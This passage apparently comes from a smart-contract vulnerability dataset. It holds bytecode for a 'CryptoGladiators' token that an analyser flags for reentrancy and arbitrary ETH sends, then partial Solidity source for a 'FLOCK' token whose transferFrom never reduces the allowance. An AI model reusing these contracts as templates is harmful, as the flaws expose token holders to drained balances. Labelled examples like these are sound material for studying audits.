} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280601081526020017f43727970746f476c61646961746f727300000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f43727970746f476c61646961746f727300000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201011b35d90c3de43c125a610c21b49c59d64908f1441ee8d0395bc0db9dc8d8a64736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,347 |
0x67968e26d9e254c497746ef6d59c195081a3247c | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Token {
function totalSupply() external view returns (uint _supply);
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function decimals() external view returns (uint8 _decimals);
function balanceOf(address _owner) external view returns (uint _balance);
function transfer(address _to, uint _tokens) external returns (bool _success);
function transferFrom(address _from, address _to, uint _tokens) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint _remaining);
function approve(address _spender, uint _tokens) external returns (bool _success);
event Transfer(address indexed _from, address indexed _to, uint _tokens, bytes indexed _data);
event Approval(address indexed _owner, address indexed _spender, uint _tokens);
}
contract StandardToken is Token {
using SafeMath for uint;
function processTransfer(address _from, address _to, uint256 _value, bytes _data) internal returns (bool success) {
if (balances[_from] >= _value && _value > 0) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
// ERC223 - ensure if we get told to transfer to a contract address
// it must support tokenFallback method and approve the transfer.
if (isContract(_to)) {
iReceiver receiver = iReceiver(_to);
receiver.tokenFallback(_from, _value, _data);
}
emit Transfer(_from, _to, _value, _data);
return true;
}
return false;
}
/// @notice send `_value` token to `_to` from `msg.sender` with `_data`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @param _data Data to be logged and sent
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value, bytes _data) external returns (bool success) {
return processTransfer(msg.sender, _to, _value, _data);
}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success) {
bytes memory empty;
return processTransfer(msg.sender, _to, _value, empty);
}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
if (allowed[_from][msg.sender] >= _value) {
bytes memory empty;
return processTransfer(_from, _to, _value, empty);
}
return false;
}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) external returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
string public name;
uint8 public decimals;
string public symbol;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
function totalSupply() external view returns (uint _supply) {
return totalSupply;
}
function name() external view returns (string _name) {
return name;
}
function symbol() external view returns (string _symbol) {
return symbol;
}
function decimals() external view returns (uint8 _decimals) {
return decimals;
}
function isContract(address _addr) internal view returns (bool _is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
contract FLOCK is StandardToken { // CHANGE THIS. Update the contract name.
using SafeMath for uint;
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public version = "H1.0";
